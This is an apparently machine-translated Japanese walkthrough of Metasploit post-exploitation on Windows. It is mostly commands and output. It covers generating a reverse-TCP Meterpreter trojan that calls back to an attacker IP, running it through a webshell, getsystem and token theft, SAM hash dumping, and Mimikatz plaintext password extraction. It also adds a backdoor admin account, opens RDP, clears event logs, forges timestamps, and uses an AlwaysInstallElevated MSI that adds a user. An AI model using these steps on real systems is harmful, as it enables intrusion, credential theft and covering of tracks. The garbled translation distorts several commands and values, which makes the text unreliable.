0x01メートルプレター自動特権レイズ
1。バックドアプログラムを生成します
KALIのコマンドラインの下で次のコマンドを直接実行して、Windows用のリバウンドトロイの木馬を取得します。
MSFVENOM -P Windows/MeterPreter/Reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exeここでは、生成されたトロイの木馬のペイロードを:に指定します。
Windows/MeterPreter/Reverse_tcp、跳ね返るモニター側のアドレスは172.16.11.2、リスニングポートは4444、ファイル出力形式はexeであり、path /tmp/hack.exeに保存されます
2。リスニングを実行
使用
Exploit/Multi/Handler
ペイロードを設定します
Windows/MeterPreter/Reverse_tcp
lhostを設定します
172.16.11.2
オプションを表示します
リスニング用に構成したモジュールを有効にするために、エクスプロイトコマンドを入力してください。
3。 Trojan
をアップロードして実行しますがアップロードされ、スクリプトトロイの木馬を実行します。ここでは、一連の貫通テストを通じてターゲットマシンのウェブシェルを取得したと仮定します。スクリプトTrojanのファイル管理機能を介して上記のTrojan Hack.exeを正常にアップロードしました。プログラムの絶対的なパスは次のとおりです。
c: \ www \ hack.exe次に、スクリプトトロイの木馬のコマンド実行関数を介して上記のトロイの木馬を実行しようとします。
C: //www/hack.exe/キャラクターの逃亡を避けるために、私たちは//ここでパスを使用します
次に、実行後、トロイの木馬が表示されているように表示されていることがわかります。以前に聞いたメタプロイトコマンドラインウィンドウに切り替えて、ターゲットマシンが接続していることがわかります。
4。
MeterPreter Basicライセンスメータープレーターはです
Metasploitフレームワークのキラー武器は、通常、脆弱性のオーバーフロー後の攻撃として使用されます。攻撃は、脆弱性が開始された後、コントロールチャネルに戻ることができます。次に、MeterPreterセッションを使用して自動特権昇格操作を実行し、次のコマンドを直接実行すると、MSFは適切な方法を自動的に選択して現在の許可を増やします。
GetSystem
上記の返品は、MeterPreterセッションの自動特権提起が成功することを意味します。この時点で、ターゲットマシンがドメイン環境に属し、ドメイン管理者によって実行されるプロセスがある場合、指定されたプロセスPIDからドメイン管理者グループトークンを盗み、興味深いことを行うことができます(ドメインアカウントの追加やドメイン管理者グループへのドメインアカウントの追加など)。 MeterPreterセッションでは、PSコマンドを実行してターゲットマシンの現在のプロセスを表示します。ここでプロセスが表示され、実行中のアカウントがドメイン管理者であると仮定します。最初の列で対応するプロセスPIDを見つけることができます(実際、システムアカウントで実行されているプロセスを見つけます)。 PIDは2584:
です。次のステートメントを実行して、ユーザープロセスのトークンを盗むことができます。
Steel_token 2584
この方法は通常、ドメイン管理者のトークンを盗むために使用され、それを実行します
GetUIDは、システムユーザーが成功したと呼ばれていることがわかります:は既にシステムの許可であるため、次のコマンドを実行して、SAMデータベースからパスワードのハッシュ値をエクスポートしようとします。
2008年に、GetSystemコマンドとHashdumpコマンドが例外をスローする場合、システムシステムの許可を使用して実行されるプロセスに移行する必要があります。後で紹介します。次のシェルコマンドを実行して、メータープレターセッションインターフェイスでCMDシェルを使用します。このCMDSHELLは、もちろん、継承されたメータープレーターセッションのシステム許可です。次のCMDコマンドを実行して、ターゲットマシンにアカウントテストを追加しようとします。
ネットユーザーテスト
v5est0r /add
ネットローカルグループ管理者のテスト /追加
次に、MeterPreterセッションを使用して、ターゲットマシンのリモートデスクトップサービスの3398ポートを開きます(このモジュールは、実際のテストに従ってWindows 2003ホストのみをサポートします):
getgui -eを実行します
最後に、新しい端末ウィンドウを作成し、次のコマンドを実行してrdesktopを呼び出してターゲットマシンのリモートデスクトップに接続します。
rdesktop -u
test -P V5est0r 172.16.12.2.2 -U: Make Username -P:パスワードを指定
0x02
オーバーフロー脆弱性モジュールのエスカレーション
一般的に、Webシェルに対応するWebサービスの権限は非常に低く、一般的にユーザーの許可ですが、実行後にシステムに直接最も高いアクセス許可を持つサーバーにも遭遇しています。この場合、ユーザーは通常直接追加されます。権限が低い場合は、システムの権利にアップグレードする必要があります - Windowsの最高の権限。ハッカーは通常、EXPプログラムを使用して権利を引き上げます。これは、その後の実験で紹介します。もちろん、MSFに基づく権利を高めるためにOverflowの脆弱性モジュールを呼び出すことも良い方法です。バッファオーバーフロー:バッファーは、プログラムを実行するためにユーザーがコンピューターに適用する連続メモリであり、特定のタイプのデータを保存します。バッファオーバーフローとは、一般的で非常に有害なシステム攻撃方法を指します。プログラムのバッファーまでコンテンツを作成することにより、バッファーはオーバーフローし、それによりプログラムのスタックを破壊し、プログラムを回して攻撃の目的を達成するために他の指示を実行します。さらに深刻なことは、バッファオーバーフロー攻撃がリモートネットワーク攻撃の大部分を占めることであり、匿名のインターネットユーザーにホストの一部またはすべての制御を獲得する機会を与えることができます。このタイプの攻撃により、誰もがホストを制御できるようになるため、セキュリティの脅威の非常に深刻なクラスを表しています。
1。
脆弱性モジュールを呼び出すには、上記のMeterPreter自動特権の実験コンテンツを参照して、ターゲットマシンの利用可能なメータープレターセッションを取得してください。次に、MeterPreterセッションで次のコマンドを入力します。
背景
//現在のMeterPreterセッションをバックグラウンド実行に変換します。次に、MSFコマンドラインで次のコマンドを実行して、2015年にMicrosoftの利用可能な脆弱性モジュールを検索します。
検索
MS15 //下の図に示すように、キーワード関連の脆弱性を検索します。多くの脆弱性モジュールが見つかりました。MS15_051の脆弱性を選択して、権限を増やし、次のコマンドを実行します。
使用
Exploit/Windows/local/ms15_051_client_copy_imageこのアクティブモジュールのエスカレーション操作を実行するためにどのセッションを指定するかを指定する必要があります。次のコマンドを実行して、サービスセッションが1であることを指定します。
セットセッション
1 //今すぐバックドアに接続されるID番号1を設定します。ここには1つのセッションしかありません、そして1に直接接続します
2。
オーバーフローを実行し、次のコマンドを直接実行して、権限を上げるために脆弱なモジュールを呼び出します。
エクスプロイト
返品情報によると、新しいセッションが作成されておらず、システムの許可がアップグレードされたことを思い出させることができます。システムの許可が現在利用できない場合、システムのプロセスに昇格し、プロセスPIDが提供されます。一般的に言えば、特権のエスカレーションが成功したとしても、次のコマンドを実行して接続セッションを返しますが、GetSUID後に元の許可が表示されます。
セッション
-i 1 PSを実行してプロセスを表示します。プロンプトに従って、上記のPIDのプロセスを見つけました。ここでは、システム権限を備えたプロセスをランダムに見つけました。 PIDは3240です。その後、移行コマンドを使用して、現在のセッションプロセスを指定されたプロセスIDに移行する必要があります
移動します
3240
上記の図に見られるように、プロセスの移行は成功しています。次に、GetUIDを実行して、現在のシステム許可が利用可能であることがわかります。
0x03
その後の権利促進運用1。
Basic Information Collectionは、ターゲットマシンが仮想マシンであるかどうかを検出します。 MeterPreterセッションで次のコマンドを実行します。
走る
投稿/Windows/sghate/checkvm#仮想マシンになるかどうかはここでは正確ではありません。モジュールコードは、メータープレーターのKillavスクリプトを介してターゲットホストが実行しているウイルス対策ソフトウェアを改善する必要があります。 MeterPreterセッションで次のコマンドを実行します。
Killavを実行します
このモジュールを改善する必要があり、ここで殺されたプロセスはCMDです。しかし、時にはそれは便利です。インストールソフトウェア情報を取得するには、MeterPreterセッションで次のコマンドを実行します。
post/windows/gracking/enum_applicationsを実行してください#getインストールソフトウェア情報
ターゲットマシンの最新のファイル操作を取得し、MeterPreterセッションで次のコマンドを実行します。
Post/Windows/Grazgn/Dumplinks#最新のファイル操作を実行します
2。
ハッシュおよびプレーンテキストパスワードを読んで、ターゲットマシンシステムのユーザーハッシュを取得し、メータープレーターセッションで次のコマンドを実行します。
Post/Windows/Gather/smart_hashdumpを実行します
TestInghashesに対するモジュールの実行は次のとおりです
接続されている場合、データベースに保存されます。
JTRパスワードファイル形式
to:/home/croxy/.msf4/loot/20155092922525044_default_10.0.2.15_windows.hashes_407551.txtdumping
パスワードハッシュ.レジストリからハッシュを抽出するシステムとして実行されます
ブートキーを取得.計算
syskey 8c2c8d96e92a8ccfc407a1ca48531239を使用したHbootキー.
ユーザーリストとキーを取得.
ユーザーキーの復号化.ダンピング
パスワードのヒント.
[+] croxy:'whoareyou '
パスワードハッシュのダンプ.
[+]
administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:3:33333333333:
[+]
HomeGroupUser $ :10023360AAD3B435B51404EEAAD3B435B51404EE:E3F0347F8B369CAC49E62A18E34834C033333333:33333333:
[+]
test:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d: As mentioned above, we obtained the hask of the local account and obtained the plaintextパスワード。 Mimikatzモジュールを最初にロードし、MeterPreterセッションで次のコマンドを実行する必要があります。
Mimikatzをロードし、現在のプロセスがシステム許可であることを確認し、次のコマンドを直接実行する必要があります。
MSV
上記の写真に示すように、次の情報が返されます。
[+] MSV資格情報のSystem Retrieの実行上記の返品情報は、現在のプロセスが「システム」の許可であることを示しています。次に、次のコマンドを実行して、システムユーザーのクリアテキストパスワードをエクスポートします。
Kerberosは、下の図に示されています。 Plantextパスワードは正常にエクスポートされ、テストユーザーのパスワードはV5est0r:次のコマンドを実行して、Mimikatzコマンドラインを介してシステムユーザーハッシュをエクスポートします。
meterpreter mimikatz_command -f
samdump:hases
次のコマンドを実行して、「Mimikatz」コマンドラインを介してシステムユーザーのクリアテキストパスワードをエクスポートします。
mimikatz_command -f sekurlsa:searchpasswords
3。
トレースをきれいにするには、次のコマンドを実行します。
Clearevは、戻るために次のように見ることができます。
MeterPreter Clearev
このモジュールは、アプリケーション、システム、セキュリティモジュールの3つの側面から履歴記録をクリーンアップしていることがわかります。実際、MSFはTimestomp関数モジュールを提供し、ファイル時間を変更しますが、実際のテストはあまり意味がありません。私たちはここで人気のある科学だけをやっています:
MeterPreter Timestomp C: \\ www -c
'09/09/1980 12:12:34 'ファイルの作成時間を変更します
MeterPreter TimeStomp C: \\ jzking121.txt -m '01/01/1991
12:12:34'Modifyファイルの変更時間
MeterPreter TimeStomp C: \\ jzking121.txt -f c: \\ rhdsetup.logコピーrhdsetup.log属性をjzking121にコピーします。実際のテストでは、時折エラーがあります。サーバーにログインして、ファイル時間を手動で変更できます。
0x04
Always Installeevated Rights
1。 MSIインストールファイルを生成
メータープレターセッションを取得した後、いくつかの従来の方法でシステムの許可を取得できないと仮定して、常に平行にされた権利は希望をもたらすかもしれません。
AlwaysInstallevatedは、Microsoftがシステム許可を使用して不正なユーザーがインストールファイル(MSI)を実行できるようにする設定です。ただし、この種の資格に対してこれを権利を与えるには、特定のセキュリティリスクがあります。これがそうすれば、次の2つのレジストリ値が「1」に設定されるためです。
[hkey_current_user \ software \ policies \ microsoft \ windows \ installer]
'Alwaysinstallevated'=dword:00000001
[hkey_local_machine \ software \ policies \ microsoft \ windows \ installer]
「Alwaysinstallevated」=DWORD3:00000001これらの2つの重要な値を照会する最も簡単な方法は、CMDコマンドを使用することです。最初にシェルを実行して、メータープレーターセッションで `cmdshellを切り替えます。CMDSHELLの下で次のコマンドを実行して、上記のレジストリキー値を照会します。
reg
クエリHKCU \ Software \ Policies \ Microsoft \ Windows \ installer /v
常に溶離しています
Reg Query HKLM \ Software \ Policies \ Microsoft \ Windows \ installer /v
常に溶離しています
ここでのクエリは、エラーを報告しています。注:このコマンドエラーが類似している場合:システムは
指定されたレジストリキーまたは値または:エラー:システムは、指定されたレジストリキーまたは値を見つけることができません。これは、常にインストールエレベートがグループポリシーで定義されていないため、関連するレジストリキーがないためかもしれません。 Always Installevatedが有効になっていると仮定したので、MSFvenomツールを使用して、管理者ユーザーをターゲットマシンに追加するMSIインストールファイルを生成できます。
msfvenom
-p Windows/adduser user=msi pass=p@ssword123! -f msi -o /tmp/add.msi
//追加されたユーザーがここで指定され、ユーザー名はMSIで、パスワードは次のとおりです。
上の図に示すように返されるように、MSIファイルは/tmp/add.msiで正常に生成されました
2。 MSIファイルエスカレーションを実行
次に、インストールファイルをターゲットマシンc: \\ add.msi:にアップロードし、次のコマンドを実行します。
アップロード
/tmp/add.msi C: \\ add.msi
新しく生成されたMSIファイルをターゲットマシンに正常にアップロードすると、Windowsコマンドラインmsiexecツールを使用してインストールできます(最初にシェルコマンドを実行して「cmdshellに切り替える必要があります):
シェル
msiexec /quiet /qn /i c: \ add.msi
Msiexecの関連パラメーターについては、次のように説明します。
/cieting:インストール中にユーザーにメッセージを送信します
/QN:はGUIを使用しません
/i:インストールプログラムが実行された後、ターゲットマシンで新しく作成された管理者ユーザーを検出できます。 CMDShellの下で次のコマンドを実行して、管理グループユーザーのリストを表示します。
ネット
ローカルグループ管理者
Recommended Comments